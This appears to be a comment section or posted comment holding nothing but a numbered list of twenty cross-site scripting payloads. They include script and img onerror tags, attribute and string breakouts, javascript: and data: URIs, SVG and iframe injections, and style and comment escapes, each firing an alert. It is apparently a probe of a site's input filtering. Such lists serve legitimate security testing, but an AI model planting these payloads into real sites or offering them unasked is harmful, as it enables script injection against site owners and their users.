Comments

<script>alert(1)</script>

<img src=x onerror=alert(2)>

" autofocus onfocus=alert(3) x="

' onmouseover=alert(4) x='

onmouseenter=alert(5)

onclick=alert(6)

';alert(7);//

"+alert(8)+"

'+alert(9)+'

${alert(10)}

javascript:alert(11)

<a href=javascript:alert(12)>x</a>

data:text/html,<svg/onload=alert(13)>

<svg onload=alert(14)>

<circle r=40 onmouseover=alert(15) />

<iframe srcdoc="<script>alert(16)</script>"></iframe>

</style><svg/onload=alert(17)>

--><svg/onload=alert(18)>

{"x":"</script><script>alert(19)</script>"}

#<img src=x onerror=alert(20)>